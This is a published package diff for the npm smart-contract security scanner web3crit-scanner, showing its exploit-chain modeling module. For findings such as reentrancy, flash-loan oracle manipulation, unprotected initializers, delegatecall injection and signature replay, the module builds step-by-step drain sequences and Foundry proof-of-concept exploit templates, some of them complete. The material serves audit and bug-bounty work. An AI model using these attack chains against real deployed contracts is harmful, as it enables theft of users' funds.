web3crit-scanner 7.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (42) hide show
  1. package/README.md +685 -0
  2. package/bin/web3crit +10 -0
  3. package/package.json +59 -0
  4. package/src/analyzers/control-flow.js +256 -0
  5. package/src/analyzers/data-flow.js +720 -0
  6. package/src/analyzers/exploit-chain.js +751 -0
  7. package/src/analyzers/immunefi-classifier.js +515 -0
  8. package/src/analyzers/poc-validator.js +396 -0
  9. package/src/analyzers/solodit-enricher.js +1122 -0
  10. package/src/cli.js +546 -0
  11. package/src/detectors/access-control-enhanced.js +458 -0
  12. package/src/detectors/base-detector.js +213 -0
  13. package/src/detectors/callback-reentrancy.js +362 -0
  14. package/src/detectors/cross-contract-reentrancy.js +697 -0
  15. package/src/detectors/delegatecall.js +167 -0
  16. package/src/detectors/deprecated-functions.js +62 -0
  17. package/src/detectors/flash-loan.js +408 -0
  18. package/src/detectors/frontrunning.js +553 -0
  19. package/src/detectors/gas-griefing.js +701 -0
  20. package/src/detectors/governance-attacks.js +366 -0
  21. package/src/detectors/integer-overflow.js +487 -0
  22. package/src/detectors/oracle-manipulation.js +524 -0
  23. package/src/detectors/permit-exploits.js +368 -0
  24. package/src/detectors/precision-loss.js +408 -0
  25. package/src/detectors/price-manipulation-advanced.js +548 -0
  26. package/src/detectors/proxy-vulnerabilities.js +651 -0
  27. package/src/detectors/readonly-reentrancy.js +473 -0
  28. package/src/detectors/rebasing-token-vault.js +416 -0
  29. package/src/detectors/reentrancy-enhanced.js +359 -0
  30. package/src/detectors/selfdestruct.js +259 -0
  31. package/src/detectors/share-manipulation.js +412 -0
  32. package/src/detectors/signature-replay.js +409 -0
  33. package/src/detectors/storage-collision.js +446 -0
  34. package/src/detectors/timestamp-dependence.js +494 -0
  35. package/src/detectors/toctou.js +427 -0
  36. package/src/detectors/token-standard-compliance.js +465 -0
  37. package/src/detectors/unchecked-call.js +214 -0
  38. package/src/detectors/vault-inflation.js +421 -0
  39. package/src/index.js +42 -0
  40. package/src/package-lock.json +2874 -0
  41. package/src/package.json +39 -0
  42. package/src/scanner-enhanced.js +816 -0
@@ -0,0 +1,751 @@
1
+ /**
2
+ * Exploit Chain Modeler
3
+ * Models concrete attack paths assuming adversarial capabilities:
4
+ * - Flash loans (unlimited capital for single tx)
5
+ * - MEV (transaction ordering, sandwich attacks)
6
+ * - Malicious contracts (reentrancy, callbacks)
7
+ * - Oracle manipulation (spot price, TWAP gaming)
8
+ *
9
+ * Only produces findings with concrete profit extraction paths
10
+ */
11
+
12
+ class ExploitChainModeler {
13
+ constructor(cfg, dataFlow) {
14
+ this.cfg = cfg;
15
+ this.dataFlow = dataFlow;
16
+
17
+ // Attacker capability model
18
+ this.attackerCapabilities = {
19
+ flashLoan: {
20
+ providers: ['Aave', 'dYdX', 'Balancer', 'Uniswap'],
21
+ maxCapital: 'unlimited_single_tx',
22
+ cost: 'gas + 0.09% fee (Aave)'
23
+ },
24
+ mev: {
25
+ capabilities: ['frontrun', 'backrun', 'sandwich', 'tx_reorder'],
26
+ tools: ['Flashbots', 'MEV-Boost', 'private_mempool'],
27
+ cost: 'bribes_to_builders'
28
+ },
29
+ maliciousContract: {
30
+ capabilities: ['reentrancy_callback', 'fallback_execution', 'custom_logic'],
31
+ cost: 'deployment_gas'
32
+ },
33
+ oracleManipulation: {
34
+ methods: ['large_swap', 'donation', 'sandwich_oracle_read'],
35
+ targets: ['spot_price', 'reserve_ratio', 'balance']
36
+ }
37
+ };
38
+ }
39
+
40
+ /**
41
+ * Model exploit chains for a set of findings
42
+ * Returns only findings with viable exploit paths
43
+ */
44
+ modelExploitChains(findings) {
45
+ const viableExploits = [];
46
+
47
+ for (const finding of findings) {
48
+ const chain = this.buildExploitChain(finding);
49
+
50
+ if (chain && chain.isViable) {
51
+ viableExploits.push({
52
+ ...finding,
53
+ exploitChain: chain,
54
+ attackerRequirements: chain.requirements,
55
+ profitPath: chain.profitPath,
56
+ estimatedComplexity: chain.complexity
57
+ });
58
+ }
59
+ }
60
+
61
+ return viableExploits;
62
+ }
63
+
64
+ /**
65
+ * Build a concrete exploit chain for a finding
66
+ */
67
+ buildExploitChain(finding) {
68
+ const attackVector = (finding.attackVector || '').toLowerCase();
69
+ const funcInfo = this.getFunctionInfo(finding);
70
+
71
+ let chain = null;
72
+
73
+ // Route to specific chain builder based on attack vector
74
+ if (attackVector.includes('reentrancy')) {
75
+ chain = this.modelReentrancyChain(finding, funcInfo);
76
+ } else if (attackVector.includes('flash-loan') || attackVector.includes('oracle')) {
77
+ chain = this.modelFlashLoanOracleChain(finding, funcInfo);
78
+ } else if (attackVector.includes('access-control')) {
79
+ chain = this.modelAccessControlChain(finding, funcInfo);
80
+ } else if (attackVector.includes('delegatecall')) {
81
+ chain = this.modelDelegatecallChain(finding, funcInfo);
82
+ } else if (attackVector.includes('signature') || attackVector.includes('replay')) {
83
+ chain = this.modelSignatureReplayChain(finding, funcInfo);
84
+ } else if (attackVector.includes('selfdestruct')) {
85
+ chain = this.modelSelfdestructChain(finding, funcInfo);
86
+ } else if (attackVector.includes('initializer') || attackVector.includes('proxy')) {
87
+ chain = this.modelProxyChain(finding, funcInfo);
88
+ } else {
89
+ chain = this.modelGenericChain(finding, funcInfo);
90
+ }
91
+
92
+ return chain;
93
+ }
94
+
95
+ /**
96
+ * Model reentrancy exploit chain
97
+ */
98
+ modelReentrancyChain(finding, funcInfo) {
99
+ const hasValueTransfer = this.detectsValueTransfer(finding);
100
+ const hasStateAfterCall = this.detectsStateAfterCall(finding);
101
+
102
+ if (!hasValueTransfer && !hasStateAfterCall) {
103
+ return { isViable: false, reason: 'No exploitable value flow' };
104
+ }
105
+
106
+ return {
107
+ isViable: true,
108
+ type: 'reentrancy',
109
+ requirements: {
110
+ deployContract: true,
111
+ flashLoan: false, // Optional but can amplify
112
+ mev: false,
113
+ estimatedGas: '500k-2M',
114
+ capitalRequired: 'Minimal (initial deposit)'
115
+ },
116
+ profitPath: {
117
+ mechanism: 'Repeated withdrawal before balance update',
118
+ valueSource: funcInfo?.contract || 'Target contract balance',
119
+ extraction: 'Direct ETH/token transfer to attacker contract'
120
+ },
121
+ steps: [
122
+ {
123
+ action: 'Deploy attacker contract',
124
+ code: `contract Attacker { receive() external payable { target.withdraw(); } }`,
125
+ gasEstimate: '200k'
126
+ },
127
+ {
128
+ action: 'Make initial deposit to target',
129
+ code: `target.deposit{value: 1 ether}()`,
130
+ note: 'Establishes withdrawal rights'
131
+ },
132
+ {
133
+ action: 'Call withdraw to trigger reentrancy',
134
+ code: `target.withdraw()`,
135
+ note: 'Triggers external call to attacker'
136
+ },
137
+ {
138
+ action: 'Reenter from fallback until drained',
139
+ code: `// In receive(): if(target.balance > 0) target.withdraw()`,
140
+ note: 'Repeatedly extracts funds'
141
+ }
142
+ ],
143
+ complexity: 'LOW',
144
+ foundryPoc: this.generateReentrancyPoC(finding, funcInfo)
145
+ };
146
+ }
147
+
148
+ /**
149
+ * Model flash loan + oracle manipulation chain
150
+ */
151
+ modelFlashLoanOracleChain(finding, funcInfo) {
152
+ return {
153
+ isViable: true,
154
+ type: 'flash_loan_oracle',
155
+ requirements: {
156
+ deployContract: true,
157
+ flashLoan: true,
158
+ mev: true, // Recommended to prevent frontrunning
159
+ estimatedGas: '1M-5M',
160
+ capitalRequired: 'None (flash loan)'
161
+ },
162
+ profitPath: {
163
+ mechanism: 'Price manipulation → favorable trade → reversal',
164
+ valueSource: 'Protocol reserves / other users deposits',
165
+ extraction: 'Trade at manipulated price, repay loan, keep difference'
166
+ },
167
+ steps: [
168
+ {
169
+ action: 'Request flash loan',
170
+ code: `aave.flashLoan(address(this), tokens, amounts, "")`,
171
+ gasEstimate: '100k'
172
+ },
173
+ {
174
+ action: 'Manipulate oracle price',
175
+ code: `router.swap(largeAmount, path, address(this))`,
176
+ note: 'Large swap moves spot price'
177
+ },
178
+ {
179
+ action: 'Execute target function at manipulated price',
180
+ code: `target.${funcInfo?.name || 'vulnerableFunction'}(...)`,
181
+ note: 'Borrow/mint/liquidate at favorable rate'
182
+ },
183
+ {
184
+ action: 'Reverse manipulation',
185
+ code: `router.swap(received, reversePath, address(this))`,
186
+ note: 'Swap back to original token'
187
+ },
188
+ {
189
+ action: 'Repay flash loan + fee, keep profit',
190
+ code: `token.transfer(aave, loanAmount + fee)`,
191
+ gasEstimate: '100k'
192
+ }
193
+ ],
194
+ complexity: 'MEDIUM',
195
+ foundryPoc: this.generateFlashLoanPoC(finding, funcInfo)
196
+ };
197
+ }
198
+
199
+ /**
200
+ * Model access control bypass chain
201
+ */
202
+ modelAccessControlChain(finding, funcInfo) {
203
+ const isAdminFunc = this.isAdminFunction(finding);
204
+ const hasFundAccess = this.detectsFundAccess(finding);
205
+
206
+ return {
207
+ isViable: true,
208
+ type: 'access_control_bypass',
209
+ requirements: {
210
+ deployContract: false,
211
+ flashLoan: false,
212
+ mev: false,
213
+ estimatedGas: '50k-200k',
214
+ capitalRequired: 'Gas only'
215
+ },
216
+ profitPath: {
217
+ mechanism: isAdminFunc ? 'Direct admin function call' : 'Unauthorized privileged operation',
218
+ valueSource: hasFundAccess ? 'Contract funds' : 'Elevated privileges',
219
+ extraction: hasFundAccess ? 'Direct transfer to attacker' : 'Persistent admin access'
220
+ },
221
+ steps: [
222
+ {
223
+ action: 'Identify unprotected function',
224
+ code: `// ${funcInfo?.name || 'targetFunction'} has no access control`,
225
+ note: 'Function is external/public without modifier'
226
+ },
227
+ {
228
+ action: 'Call function directly',
229
+ code: `target.${funcInfo?.name || 'adminFunction'}(attackerAddress)`,
230
+ gasEstimate: '50k'
231
+ },
232
+ {
233
+ action: hasFundAccess ? 'Extract funds' : 'Establish persistent access',
234
+ code: hasFundAccess ?
235
+ `target.withdraw(target.balance)` :
236
+ `// Now attacker is owner/admin`,
237
+ note: 'Immediate value extraction or future attack setup'
238
+ }
239
+ ],
240
+ complexity: 'LOW',
241
+ foundryPoc: this.generateAccessControlPoC(finding, funcInfo)
242
+ };
243
+ }
244
+
245
+ /**
246
+ * Model delegatecall injection chain
247
+ */
248
+ modelDelegatecallChain(finding, funcInfo) {
249
+ return {
250
+ isViable: true,
251
+ type: 'delegatecall_injection',
252
+ requirements: {
253
+ deployContract: true,
254
+ flashLoan: false,
255
+ mev: false,
256
+ estimatedGas: '200k-500k',
257
+ capitalRequired: 'Deployment gas only'
258
+ },
259
+ profitPath: {
260
+ mechanism: 'Arbitrary code execution in target context',
261
+ valueSource: 'Target contract storage/funds',
262
+ extraction: 'Modify storage to transfer ownership or drain funds'
263
+ },
264
+ steps: [
265
+ {
266
+ action: 'Deploy malicious implementation',
267
+ code: `contract Malicious { function attack() { owner = attacker; } }`,
268
+ gasEstimate: '200k'
269
+ },
270
+ {
271
+ action: 'Call vulnerable delegatecall with malicious address',
272
+ code: `target.execute(maliciousAddress, "attack()")`,
273
+ note: 'Delegatecall runs in target context'
274
+ },
275
+ {
276
+ action: 'Malicious code modifies target storage',
277
+ code: `// Overwrites owner slot with attacker address`,
278
+ note: 'Storage collision gives admin access'
279
+ },
280
+ {
281
+ action: 'Use gained privileges to extract funds',
282
+ code: `target.withdrawAll()`,
283
+ gasEstimate: '50k'
284
+ }
285
+ ],
286
+ complexity: 'MEDIUM',
287
+ foundryPoc: this.generateDelegatecallPoC(finding, funcInfo)
288
+ };
289
+ }
290
+
291
+ /**
292
+ * Model signature replay chain
293
+ */
294
+ modelSignatureReplayChain(finding, funcInfo) {
295
+ return {
296
+ isViable: true,
297
+ type: 'signature_replay',
298
+ requirements: {
299
+ deployContract: false,
300
+ flashLoan: false,
301
+ mev: false,
302
+ estimatedGas: '50k-150k',
303
+ capitalRequired: 'Gas only',
304
+ prerequisite: 'Obtain valid signature (on-chain or off-chain)'
305
+ },
306
+ profitPath: {
307
+ mechanism: 'Replay valid signature for unauthorized action',
308
+ valueSource: 'Signer\'s approved funds/permissions',
309
+ extraction: 'Execute signed action multiple times'
310
+ },
311
+ steps: [
312
+ {
313
+ action: 'Obtain valid signature from previous tx or off-chain',
314
+ code: `// Monitor mempool or obtain from dApp interaction`,
315
+ note: 'Signature is valid but reusable'
316
+ },
317
+ {
318
+ action: 'Replay signature on vulnerable contract',
319
+ code: `target.executeWithSig(data, v, r, s)`,
320
+ gasEstimate: '100k'
321
+ },
322
+ {
323
+ action: 'Repeat replay until value extracted or blocked',
324
+ code: `// No nonce prevents multiple uses`,
325
+ note: 'Can replay across chains if chainId not checked'
326
+ }
327
+ ],
328
+ complexity: 'LOW',
329
+ foundryPoc: this.generateSignatureReplayPoC(finding, funcInfo)
330
+ };
331
+ }
332
+
333
+ /**
334
+ * Model proxy/initializer chain
335
+ */
336
+ modelProxyChain(finding, funcInfo) {
337
+ const isInitializer = finding.title?.toLowerCase().includes('initializ');
338
+
339
+ return {
340
+ isViable: true,
341
+ type: isInitializer ? 'unprotected_initializer' : 'proxy_vulnerability',
342
+ requirements: {
343
+ deployContract: false,
344
+ flashLoan: false,
345
+ mev: true, // Frontrun recommended
346
+ estimatedGas: '100k-300k',
347
+ capitalRequired: 'Gas only'
348
+ },
349
+ profitPath: {
350
+ mechanism: isInitializer ?
351
+ 'Call unprotected initializer to become owner' :
352
+ 'Exploit proxy upgrade mechanism',
353
+ valueSource: 'Full contract control → all funds',
354
+ extraction: 'Admin functions to drain or upgrade to malicious'
355
+ },
356
+ steps: isInitializer ? [
357
+ {
358
+ action: 'Identify uninitialized proxy',
359
+ code: `// Check if initialize() callable`,
360
+ note: 'Proxy deployed but not initialized'
361
+ },
362
+ {
363
+ action: 'Frontrun initialize with attacker params',
364
+ code: `target.initialize(attackerAddress, ...)`,
365
+ gasEstimate: '150k'
366
+ },
367
+ {
368
+ action: 'Use admin privileges to drain',
369
+ code: `target.withdrawAll() // or upgrade to malicious`,
370
+ note: 'Full control achieved'
371
+ }
372
+ ] : [
373
+ {
374
+ action: 'Identify upgrade function without auth',
375
+ code: `// upgradeTo() or similar is unprotected`,
376
+ note: 'UUPS missing _authorizeUpgrade'
377
+ },
378
+ {
379
+ action: 'Deploy malicious implementation',
380
+ code: `contract Malicious { function drain() { ... } }`,
381
+ gasEstimate: '200k'
382
+ },
383
+ {
384
+ action: 'Upgrade proxy to malicious implementation',
385
+ code: `target.upgradeTo(maliciousImpl)`,
386
+ gasEstimate: '100k'
387
+ },
388
+ {
389
+ action: 'Call drain function',
390
+ code: `target.drain()`,
391
+ note: 'Funds extracted'
392
+ }
393
+ ],
394
+ complexity: 'LOW',
395
+ foundryPoc: this.generateProxyPoC(finding, funcInfo, isInitializer)
396
+ };
397
+ }
398
+
399
+ /**
400
+ * Model selfdestruct chain
401
+ */
402
+ modelSelfdestructChain(finding, funcInfo) {
403
+ return {
404
+ isViable: true,
405
+ type: 'selfdestruct',
406
+ requirements: {
407
+ deployContract: false,
408
+ flashLoan: false,
409
+ mev: false,
410
+ estimatedGas: '50k-100k',
411
+ capitalRequired: 'Gas only'
412
+ },
413
+ profitPath: {
414
+ mechanism: 'Destroy contract and force-send ETH or steal balance',
415
+ valueSource: 'Contract ETH balance',
416
+ extraction: 'selfdestruct sends balance to attacker'
417
+ },
418
+ steps: [
419
+ {
420
+ action: 'Call unprotected selfdestruct',
421
+ code: `target.destroy(attackerAddress)`,
422
+ gasEstimate: '30k'
423
+ },
424
+ {
425
+ action: 'Contract destroyed, ETH sent to attacker',
426
+ code: `// selfdestruct(attackerAddress) executes`,
427
+ note: 'Permanent destruction, funds extracted'
428
+ }
429
+ ],
430
+ complexity: 'LOW',
431
+ foundryPoc: this.generateSelfdestructPoC(finding, funcInfo)
432
+ };
433
+ }
434
+
435
+ /**
436
+ * Generic chain for unclassified vulnerabilities
437
+ */
438
+ modelGenericChain(finding, funcInfo) {
439
+ // Only return viable if high confidence exploitable
440
+ if (finding.confidence !== 'HIGH' || finding.exploitable === false) {
441
+ return { isViable: false, reason: 'Insufficient confidence for generic exploit' };
442
+ }
443
+
444
+ return {
445
+ isViable: true,
446
+ type: 'generic',
447
+ requirements: {
448
+ deployContract: false,
449
+ flashLoan: false,
450
+ mev: false,
451
+ estimatedGas: '100k-500k',
452
+ capitalRequired: 'Varies'
453
+ },
454
+ profitPath: {
455
+ mechanism: finding.title,
456
+ valueSource: 'Contract funds or state',
457
+ extraction: 'Depends on vulnerability'
458
+ },
459
+ steps: [
460
+ {
461
+ action: 'Exploit vulnerability',
462
+ code: `target.${funcInfo?.name || 'vulnerableFunction'}(...)`,
463
+ note: finding.description?.substring(0, 100)
464
+ }
465
+ ],
466
+ complexity: 'VARIES',
467
+ foundryPoc: null
468
+ };
469
+ }
470
+
471
+ // Helper methods
472
+
473
+ getFunctionInfo(finding) {
474
+ // Handle location being either a string or object
475
+ let location = finding.location || '';
476
+ if (typeof location !== 'string') {
477
+ location = String(location) || '';
478
+ }
479
+
480
+ const contractMatch = location.match(/Contract:\s*(\w+)/);
481
+ const funcMatch = location.match(/Function:\s*(\w+)/);
482
+
483
+ return {
484
+ contract: contractMatch ? contractMatch[1] : null,
485
+ name: funcMatch ? funcMatch[1] : null,
486
+ line: finding.line
487
+ };
488
+ }
489
+
490
+ detectsValueTransfer(finding) {
491
+ const desc = (finding.description || '').toLowerCase();
492
+ return /transfer|send|call.*value|withdraw|drain|steal/.test(desc);
493
+ }
494
+
495
+ detectsStateAfterCall(finding) {
496
+ const desc = (finding.description || '').toLowerCase();
497
+ return /state.*after|before.*state|external.*call.*state/.test(desc);
498
+ }
499
+
500
+ isAdminFunction(finding) {
501
+ const desc = (finding.description || finding.title || '').toLowerCase();
502
+ return /owner|admin|governance|upgrade|pause|emergency|set.*address/.test(desc);
503
+ }
504
+
505
+ detectsFundAccess(finding) {
506
+ const desc = (finding.description || '').toLowerCase();
507
+ return /fund|balance|withdraw|transfer|drain|treasury/.test(desc);
508
+ }
509
+
510
+ // PoC Generators
511
+
512
+ generateReentrancyPoC(finding, funcInfo) {
513
+ return `// SPDX-License-Identifier: MIT
514
+ pragma solidity ^0.8.0;
515
+
516
+ import "forge-std/Test.sol";
517
+
518
+ interface ITarget {
519
+ function deposit() external payable;
520
+ function withdraw() external;
521
+ }
522
+
523
+ contract ReentrancyExploit is Test {
524
+ ITarget target;
525
+ uint256 attackCount;
526
+
527
+ function setUp() public {
528
+ // NOTE: Set TARGET to a real deployed address in your test harness.
529
+ target = ITarget(address(0));
530
+ vm.deal(address(this), 1 ether);
531
+ }
532
+
533
+ function testExploit() public {
534
+ uint256 initialBalance = address(this).balance;
535
+
536
+ // Initial deposit
537
+ target.deposit{value: 1 ether}();
538
+
539
+ // Trigger reentrancy
540
+ target.withdraw();
541
+
542
+ assertGt(address(this).balance, initialBalance, "Exploit failed");
543
+ }
544
+
545
+ receive() external payable {
546
+ if (address(target).balance >= 1 ether && attackCount < 10) {
547
+ attackCount++;
548
+ target.withdraw();
549
+ }
550
+ }
551
+ }`;
552
+ }
553
+
554
+ generateFlashLoanPoC(finding, funcInfo) {
555
+ return `// SPDX-License-Identifier: MIT
556
+ pragma solidity ^0.8.0;
557
+
558
+ import "forge-std/Test.sol";
559
+
560
+ interface IFlashLoanProvider {
561
+ function flashLoan(address receiver, address token, uint256 amount, bytes calldata data) external;
562
+ }
563
+
564
+ contract FlashLoanExploit is Test {
565
+ // NOTE: Set these to real deployed addresses in your test harness.
566
+ address constant FLASH_LOAN_PROVIDER = address(0);
567
+ address constant TARGET = address(0);
568
+
569
+ function testExploit() public {
570
+ uint256 initialBalance = address(this).balance;
571
+
572
+ // Request flash loan
573
+ // IFlashLoanProvider(FLASH_LOAN_PROVIDER).flashLoan(address(this), token, 1_000_000e18, "");
574
+
575
+ assertGt(address(this).balance, initialBalance, "No profit");
576
+ }
577
+
578
+ function executeOperation(
579
+ address asset,
580
+ uint256 amount,
581
+ uint256 premium,
582
+ address initiator,
583
+ bytes calldata params
584
+ ) external returns (bool) {
585
+ // 1. Manipulate price (large swap)
586
+ // router.swap(amount, path, address(this));
587
+
588
+ // 2. Call vulnerable function
589
+ // ITarget(TARGET).${funcInfo?.name || 'vulnerableFunction'}(...);
590
+
591
+ // 3. Reverse manipulation
592
+ // router.swap(received, reversePath, address(this));
593
+
594
+ // 4. Repay
595
+ // IERC20(asset).transfer(FLASH_LOAN_PROVIDER, amount + premium);
596
+
597
+ return true;
598
+ }
599
+ }`;
600
+ }
601
+
602
+ generateAccessControlPoC(finding, funcInfo) {
603
+ return `// SPDX-License-Identifier: MIT
604
+ pragma solidity ^0.8.0;
605
+
606
+ import "forge-std/Test.sol";
607
+
608
+ contract AccessControlExploit is Test {
609
+ // NOTE: Set TARGET to a real deployed address in your test harness.
610
+ address constant TARGET = address(0);
611
+
612
+ function testExploit() public {
613
+ // Attacker is not owner/admin
614
+ address attacker = address(0xBAD);
615
+ vm.startPrank(attacker);
616
+
617
+ // Call unprotected admin function
618
+ // ITarget(TARGET).${funcInfo?.name || 'setOwner'}(attacker);
619
+
620
+ // Verify takeover
621
+ // assertEq(ITarget(TARGET).owner(), attacker);
622
+
623
+ // Extract value
624
+ // ITarget(TARGET).withdraw(ITarget(TARGET).balance);
625
+
626
+ vm.stopPrank();
627
+ }
628
+ }`;
629
+ }
630
+
631
+ generateDelegatecallPoC(finding, funcInfo) {
632
+ return `// SPDX-License-Identifier: MIT
633
+ pragma solidity ^0.8.0;
634
+
635
+ import "forge-std/Test.sol";
636
+
637
+ contract MaliciousImpl {
638
+ // Storage layout must match target
639
+ address public owner;
640
+
641
+ function attack(address newOwner) external {
642
+ owner = newOwner;
643
+ }
644
+ }
645
+
646
+ contract DelegatecallExploit is Test {
647
+ function testExploit() public {
648
+ MaliciousImpl malicious = new MaliciousImpl();
649
+
650
+ // Call vulnerable delegatecall
651
+ // target.execute(address(malicious), abi.encodeWithSelector(MaliciousImpl.attack.selector, address(this)));
652
+
653
+ // Verify takeover
654
+ // assertEq(target.owner(), address(this));
655
+ }
656
+ }`;
657
+ }
658
+
659
+ generateSignatureReplayPoC(finding, funcInfo) {
660
+ return `// SPDX-License-Identifier: MIT
661
+ pragma solidity ^0.8.0;
662
+
663
+ import "forge-std/Test.sol";
664
+
665
+ contract SignatureReplayExploit is Test {
666
+ function testExploit() public {
667
+ // Obtain signature from previous valid transaction
668
+ bytes32 r = 0x...;
669
+ bytes32 s = 0x...;
670
+ uint8 v = 27;
671
+
672
+ // First use (legitimate)
673
+ // target.executeWithSig(data, v, r, s);
674
+
675
+ // Replay (exploit - should fail but doesn't)
676
+ // target.executeWithSig(data, v, r, s);
677
+
678
+ // Assert double execution succeeded
679
+ }
680
+ }`;
681
+ }
682
+
683
+ generateProxyPoC(finding, funcInfo, isInitializer) {
684
+ if (isInitializer) {
685
+ return `// SPDX-License-Identifier: MIT
686
+ pragma solidity ^0.8.0;
687
+
688
+ import "forge-std/Test.sol";
689
+
690
+ contract InitializerExploit is Test {
691
+ function testExploit() public {
692
+ address attacker = address(0xBAD);
693
+
694
+ // Call unprotected initializer
695
+ // proxy.initialize(attacker, ...);
696
+
697
+ // Verify takeover
698
+ // assertEq(proxy.owner(), attacker);
699
+
700
+ // Drain as new owner
701
+ // proxy.withdraw(proxy.balance);
702
+ }
703
+ }`;
704
+ }
705
+
706
+ return `// SPDX-License-Identifier: MIT
707
+ pragma solidity ^0.8.0;
708
+
709
+ import "forge-std/Test.sol";
710
+
711
+ contract MaliciousUpgrade {
712
+ function drain(address payable to) external {
713
+ selfdestruct(to);
714
+ }
715
+ }
716
+
717
+ contract ProxyExploit is Test {
718
+ function testExploit() public {
719
+ MaliciousUpgrade malicious = new MaliciousUpgrade();
720
+
721
+ // Upgrade to malicious (UUPS without auth)
722
+ // proxy.upgradeTo(address(malicious));
723
+
724
+ // Drain
725
+ // MaliciousUpgrade(address(proxy)).drain(payable(address(this)));
726
+ }
727
+ }`;
728
+ }
729
+
730
+ generateSelfdestructPoC(finding, funcInfo) {
731
+ return `// SPDX-License-Identifier: MIT
732
+ pragma solidity ^0.8.0;
733
+
734
+ import "forge-std/Test.sol";
735
+
736
+ contract SelfdestructExploit is Test {
737
+ function testExploit() public {
738
+ address attacker = address(0xBAD);
739
+ uint256 targetBalance = address(TARGET).balance;
740
+
741
+ // Call unprotected selfdestruct
742
+ // target.destroy(attacker);
743
+
744
+ // Verify funds received
745
+ // assertEq(attacker.balance, targetBalance);
746
+ }
747
+ }`;
748
+ }
749
+ }
750
+
751
+ module.exports = ExploitChainModeler;